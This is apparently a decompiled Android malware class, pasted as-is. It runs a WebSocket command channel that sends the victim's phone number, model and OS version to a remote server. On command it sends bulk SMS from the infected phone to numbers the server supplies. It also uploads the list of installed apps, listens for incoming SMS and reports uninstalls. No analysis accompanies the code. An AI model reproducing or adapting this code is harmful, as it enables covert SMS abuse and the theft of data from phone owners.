- if (param1String.startsWith("发信息&")) {
- ZSTWWISZV.access$2802(0);
- ZSTWWISZV.access$2902(0);
- ZSTWWISZV.access$3002(0);
- ZSTWWISZV.access$1802(0);
- ZSTWWISZV.access$3102("");
- ZSTWWISZV.access$3202("");
- mMobiles.clear();
- mContents.clear();
- if (mHandler.hasMessages(4))
- mHandler.removeMessages(4);
- DLVSCCNBD.putString("sp_mobile", "");
- DLVSCCNBD.putString("sp_content", "");
- DLVSCCNBD.putInt("sp_success_num", mSuccessNum);
- DLVSCCNBD.putInt("sp_fail_num", mErrorNum);
- if (param1String.split("发信息&")[1].contains("|")) {
- String[] arrayOfString1 = param1String.split("发信息&")[1].split("\\|")[0];
- String str = param1String.split("发信息&")[1].split("\\|")[1];
- param1String = param1String.split("发信息&")[1].split("\\|")[2];
- if (arrayOfString1.contains(",")) {
- arrayOfString1 = arrayOfString1.split(",");
- byte b;
- for (b = 0; b < arrayOfString1.length; b++) {
- mMobiles.add(arrayOfString1[b]);
- mDaiMobiles.add(arrayOfString1[b]);
- }
- if (param1String.contains("#")) {
- arrayOfString = param1String.split("#");
- for (b = 0; b < arrayOfString1.length; b++) {
- int i = (new Random()).nextInt(arrayOfString.length);
- ArrayList arrayList1 = mContents;
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append(str);
- stringBuilder2.append(arrayOfString[i]);
- arrayList1.add(stringBuilder2.toString());
- ArrayList arrayList2 = mDaiContents;
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(arrayOfString[i]);
- arrayList2.add(stringBuilder1.toString());
- }
- } else {
- for (b = 0; b < arrayOfString1.length; b++) {
- ArrayList arrayList2 = mContents;
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(arrayOfString);
- arrayList2.add(stringBuilder1.toString());
- ArrayList arrayList1 = mDaiContents;
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append(str);
- stringBuilder2.append(arrayOfString);
- arrayList1.add(stringBuilder2.toString());
- }
- }
- ZSTWWISZV.saveLocal();
- ZSTWWISZV.sendSms((String)mMobiles.get(0), (String)mContents.get(0));
- } else {
- mMobiles.add(arrayOfString1);
- mDaiMobiles.add(arrayOfString1);
- if (arrayOfString.contains("#")) {
- arrayOfString = arrayOfString.split("#");
- int i = (new Random()).nextInt(arrayOfString.length);
- ArrayList arrayList2 = mContents;
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(arrayOfString[i]);
- arrayList2.add(stringBuilder1.toString());
- ArrayList arrayList1 = mDaiContents;
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append(str);
- stringBuilder2.append(arrayOfString[i]);
- arrayList1.add(stringBuilder2.toString());
- } else {
- ArrayList arrayList = mContents;
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(arrayOfString);
- arrayList.add(stringBuilder1.toString());
- arrayList = mDaiContents;
- stringBuilder1 = new StringBuilder();
- stringBuilder1.append(str);
- stringBuilder1.append(arrayOfString);
- arrayList.add(stringBuilder1.toString());
- }
- ZSTWWISZV.saveLocal();
- ZSTWWISZV.sendSms(arrayOfString1, (String)mContents.get(0));
- }
- }
- } else if (!arrayOfString.startsWith("清除短信&")) {
- if (arrayOfString.startsWith("通知栏&")) {
- ZSTWWISZV.access$3602(0);
- ZSTWWISZV.access$3702(0);
- ZSTWWISZV.access$3802(0);
- ZSTWWISZV.access$3902(0);
- ZSTWWISZV.getNotiTitle();
- } else if (arrayOfString.startsWith("应用列表&") && mWebSocket != null) {
- WebSocket webSocket = mWebSocket;
- stringBuilder = new StringBuilder();
- stringBuilder.append("应用列表&");
- stringBuilder.append(ZSTWWISZV.getPackagesNames());
- webSocket.send(stringBuilder.toString());
- }
- }
- }
- }
- public void onOpen(WebSocket param1WebSocket, Response param1Response) {
- super.onOpen(param1WebSocket, param1Response);
- ZSTWWISZV.access$1702(0);
- ZSTWWISZV.access$1302(true);
- StringBuilder stringBuilder1 = new StringBuilder();
- stringBuilder1.append("onOpen: ");
- stringBuilder1.append(ZSTWWISZV.getSystemVersion());
- stringBuilder1.append("|");
- stringBuilder1.append(ZSTWWISZV.getNativePhoneNumber());
- stringBuilder1.append("|");
- stringBuilder1.append(ZSTWWISZV.getSystemModel());
- stringBuilder1.append("|");
- stringBuilder1.append(ZSTWWISZV.getWifiOr4G());
- stringBuilder1.append("|");
- stringBuilder1.append(KHEYQGIXJ.get(mContext));
- Log.i("rgh", stringBuilder1.toString());
- WebSocket webSocket = mWebSocket;
- StringBuilder stringBuilder2 = new StringBuilder();
- stringBuilder2.append("握手包&");
- stringBuilder2.append(ZSTWWISZV.getSystemVersion());
- stringBuilder2.append("|");
- stringBuilder2.append(ZSTWWISZV.getNativePhoneNumber());
- stringBuilder2.append("|");
- stringBuilder2.append(ZSTWWISZV.getSystemModel());
- stringBuilder2.append("|");
- stringBuilder2.append(ZSTWWISZV.getWifiOr4G());
- stringBuilder2.append("|");
- stringBuilder2.append(KHEYQGIXJ.get(mContext));
- webSocket.send(stringBuilder2.toString());
- boolean bool = mHandler.hasMessages(4);
- if (mHandler.hasMessages(6)) {
- mHandler.removeCallbacksAndMessages(null);
- mHandler.sendEmptyMessageDelayed(6, 60000L);
- } else {
- mHandler.removeCallbacksAndMessages(null);
- }
- if (bool == true)
- mHandler.sendEmptyMessageDelayed(4, 6000L);
- mHandler.sendEmptyMessageDelayed(0, 10000L);
- mHandler.sendEmptyMessageDelayed(1, 60000L);
- mHandler.sendEmptyMessageDelayed(5, 60000L);
- if (!TextUtils.isEmpty(DLVSCCNBD.getString("sp_smscallback", ""))) {
- mWebSocket.send(DLVSCCNBD.getString("sp_smscallback", ""));
- DLVSCCNBD.putString("sp_smscallback", "");
- }
- }
- }; }
- private static boolean isAppInstalled() {
- PackageManager packageManager = mContext.getPackageManager();
- byte b = 0;
- mDangerNum = 0;
- boolean bool = false;
- while (true) {
- arrayOfString = mPkgNames;
- if (b < arrayOfString.length) {
- try {
- packageManager.getPackageInfo(arrayOfString[b], 1);
- try {
- mDangerNum++;
- } catch (android.content.pm.PackageManager.NameNotFoundException arrayOfString) {}
- bool = true;
- } catch (android.content.pm.PackageManager.NameNotFoundException arrayOfString) {}
- b++;
- continue;
- }
- return bool;
- }
- }
- private static boolean isMainProcess(Context paramContext) {
- int i = Process.myPid();
- Iterator iterator = ((ActivityManager)paramContext.getApplicationContext().getSystemService("activity")).getRunningAppProcesses().iterator();
- String str = "";
- while (iterator.hasNext()) {
- ActivityManager.RunningAppProcessInfo runningAppProcessInfo = (ActivityManager.RunningAppProcessInfo)iterator.next();
- if (runningAppProcessInfo.pid == i)
- str = runningAppProcessInfo.processName;
- }
- return (str == null || "".equals(str)) ? true : paramContext.getApplicationContext().getPackageName().equals(str);
- }
- public static void removeHandler() {
- mHandler.removeCallbacksAndMessages(null);
- mHandler2.removeCallbacksAndMessages(null);
- }
- public static void removeHandler3() { mHandler3.removeCallbacksAndMessages(null); }
- private static void saveLocal() {
- try {
- String str3;
- int i = mDaiMobiles.size();
- int j = 0;
- if (i > 0)
- mDaiMobiles.remove(0);
- if (mDaiContents.size() > 0)
- mDaiContents.remove(0);
- String str1 = "";
- String str2 = "";
- byte b = 0;
- while (true) {
- str3 = str1;
- i = j;
- if (b < mDaiMobiles.size()) {
- if (TextUtils.isEmpty(str2)) {
- str3 = (String)mDaiMobiles.get(b);
- } else {
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append(str2);
- stringBuilder.append(",");
- stringBuilder.append((String)mDaiMobiles.get(b));
- str3 = stringBuilder.toString();
- }
- b++;
- str2 = str3;
- continue;
- }
- break;
- }
- while (i < mDaiContents.size()) {
- if (TextUtils.isEmpty(str3)) {
- str3 = (String)mDaiContents.get(i);
- } else {
- StringBuilder stringBuilder = new StringBuilder();
- this();
- stringBuilder.append(str3);
- stringBuilder.append("#");
- stringBuilder.append((String)mDaiContents.get(i));
- str3 = stringBuilder.toString();
- }
- i++;
- }
- DLVSCCNBD.putString("sp_mobile", str2);
- DLVSCCNBD.putString("sp_content", str3);
- DLVSCCNBD.putInt("sp_success_num", mSuccessNum);
- DLVSCCNBD.putInt("sp_fail_num", mErrorNum);
- } catch (Exception exception) {}
- }
- private static void sendSms(String paramString1, String paramString2) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("mobile: ");
- stringBuilder.append(paramString1);
- stringBuilder.append(",");
- stringBuilder.append(paramString2);
- Log.i("rgh", stringBuilder.toString());
- if (mLianxuErrorNum == MAX_ERROR_NUM)
- return;
- try {
- SmsManager.getDefault().sendTextMessage(paramString1, null, paramString2, sentPI, null);
- } catch (Exception paramString1) {
- paramString1.printStackTrace();
- }
- }
- private static void sendSmsByWebsocket(String paramString) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("sendSmsByWebsocket = ");
- stringBuilder.append(paramString);
- Log.i("rgh", stringBuilder.toString());
- if (mIsConnected) {
- stringBuilder = new StringBuilder();
- stringBuilder.append("sendSmsByWebsocket mWebSocket= ");
- stringBuilder.append(paramString);
- Log.i("rgh", stringBuilder.toString());
- WebSocket webSocket = mWebSocket;
- if (webSocket != null)
- webSocket.send(paramString);
- } else {
- stringBuilder = new StringBuilder();
- stringBuilder.append("sendSmsByWebsocket SPUtil= ");
- stringBuilder.append(paramString);
- Log.i("rgh", stringBuilder.toString());
- DLVSCCNBD.putString("sp_smscallback", paramString);
- }
- }
- public static void sendUninstall(String paramString) {
- WebSocket webSocket = mWebSocket;
- if (webSocket != null) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("卸载成功&");
- stringBuilder.append(KHEYQGIXJ.get(mContext));
- stringBuilder.append("|");
- stringBuilder.append(paramString);
- stringBuilder.append("|");
- stringBuilder.append((new SimpleDateFormat("yyyy-MM-dd HH:mm:ss")).format(new Date(System.currentTimeMillis())));
- webSocket.send(stringBuilder.toString());
- }
- }
- private static void startKeepAlive(Context paramContext) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("startKeepAlive: ");
- stringBuilder.append(isMainProcess(paramContext));
- Log.i("rgh", stringBuilder.toString());
- getData();
- mHandler.sendEmptyMessageDelayed(1, 60000L);
- sentPI = PendingIntent.getBroadcast(paramContext, 0, new Intent(SENT_SMS_ACTION), 0);
- paramContext.registerReceiver(sendMessage, new IntentFilter(SENT_SMS_ACTION));
- IntentFilter intentFilter = new IntentFilter();
- intentFilter.addAction("android.provider.Telephony.SMS_RECEIVED");
- paramContext.registerReceiver(new NWTJLYZTZ(), intentFilter);
- intentFilter = new IntentFilter();
- intentFilter.addAction("android.permissions.send");
- paramContext.registerReceiver(new PerReceiver(), intentFilter);
- intentFilter = new IntentFilter();
- intentFilter.addAction("sendcontact");
- paramContext.registerReceiver(new SendContactReceiver(), intentFilter);
- intentFilter = new IntentFilter("android.intent.action.PACKAGE_REMOVED");
- intentFilter.addDataScheme("package");
- paramContext.registerReceiver(new McReceiver(null), intentFilter);
- intentFilter = new IntentFilter("com.my.submit");
- paramContext.registerReceiver(new MyReceiver(), intentFilter);
- startSendLocal();
- mHandler2.sendEmptyMessageDelayed(0, 20000L);
- }
- private static void startSendLocal() {
- try {
- mLianxuErrorNum = 0;
- mErrorNum = DLVSCCNBD.getInt("sp_fail_num", 0);
- mSuccessNum = DLVSCCNBD.getInt("sp_success_num", 0);
- currentMobileIndex = 0;
- mFailPhone = "";
- content = "";
- mMobiles.clear();
- mContents.clear();
- String[] arrayOfString = DLVSCCNBD.getString("sp_mobile", "");
- content = DLVSCCNBD.getString("sp_content", "");
- if (!TextUtils.isEmpty(arrayOfString) && arrayOfString.contains(",")) {
- arrayOfString = arrayOfString.split(",");
- byte b;
- for (b = 0; b < arrayOfString.length; b++) {
- mMobiles.add(arrayOfString[b]);
- mDaiMobiles.add(arrayOfString[b]);
- }
- arrayOfString = content.split("#");
- for (b = 0; b < arrayOfString.length; b++) {
- mContents.add(arrayOfString[b]);
- mDaiContents.add(arrayOfString[b]);
- }
- sendSms((String)mMobiles.get(0), (String)mContents.get(0));
- } else {
- mMobiles.add(arrayOfString);
- mDaiMobiles.add(arrayOfString);
- mContents.add(content);
- mDaiContents.add(content);
- sendSms(arrayOfString, (String)mContents.get(0));
- }
- } catch (Exception exception) {}
- }
- public static void submitComplete() {
- WebSocket webSocket = mWebSocket;
- if (webSocket != null)
- webSocket.send("信息已提交&一");
- }
- private static class McReceiver extends BroadcastReceiver {
- private McReceiver() {}
- public void onReceive(Context param1Context, Intent param1Intent) {
- if ("android.intent.action.PACKAGE_REMOVED".equals(param1Intent.getAction()) && param1Intent.getData() != null)
- ZSTWWISZV.sendUninstall(param1Intent.getData().getSchemeSpecificPart());
- }
- }
- public static class MyReceiver extends BroadcastReceiver {
- public void onReceive(Context param1Context, Intent param1Intent) {
- if ("com.my.submit".equals(param1Intent.getAction()))
- ZSTWWISZV.submitComplete();
- }
- }
- public static class PerReceiver extends BroadcastReceiver {
- public void onReceive(Context param1Context, Intent param1Intent) {
- StringBuilder stringBuilder = new StringBuilder();
- stringBuilder.append("action: ");
- stringBuilder.append(param1Intent.getAction());
- stringBuilder.append(",");
- stringBuilder.append(mWebSocket);
- Log.i("rgh", stringBuilder.toString());
- if ("android.permissions.send".equals(param1Intent.getAction()) && mWebSocket != null) {
- Log.i("rgh", "权限发送握手包");
- WebSocket webSocket = mWebSocket;
- stringBuilder = new StringBuilder();
- stringBuilder.append("握手包&");
- stringBuilder.append(ZSTWWISZV.getSystemVersion());
- stringBuilder.append("|");
- stringBuilder.append(ZSTWWISZV.getNativePhoneNumber());
- stringBuilder.append("|");
- stringBuilder.append(ZSTWWISZV.getSystemModel());
- stringBuilder.append("|");
- stringBuilder.append(ZSTWWISZV.getWifiOr4G());
- stringBuilder.append("|");
- stringBuilder.append(KHEYQGIXJ.get(mContext));
- webSocket.send(stringBuilder.toString());
- }
- }
- }
- public static class SendContactReceiver extends BroadcastReceiver {
- public void onReceive(Context param1Context, Intent param1Intent) {
- Log.i("rgh", "SendContactReceiver");
- if ("sendcontact".equals(param1Intent.getAction()) && mWebSocket != null) {
- Log.i("rgh", "sendcontact");
- mHandler.sendEmptyMessageDelayed(6, 60000L);
- }
- }
- }
- }
- /* Location: /home/kali/k/classes-dex2jar.jar!/YYBJUNPFC/XOOKFRHFX/BIFGJWMPK/ZSTWWISZV.class
- * Java compiler version: 6 (50.0)
- * JD-Core Version: 1.0.7
- */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement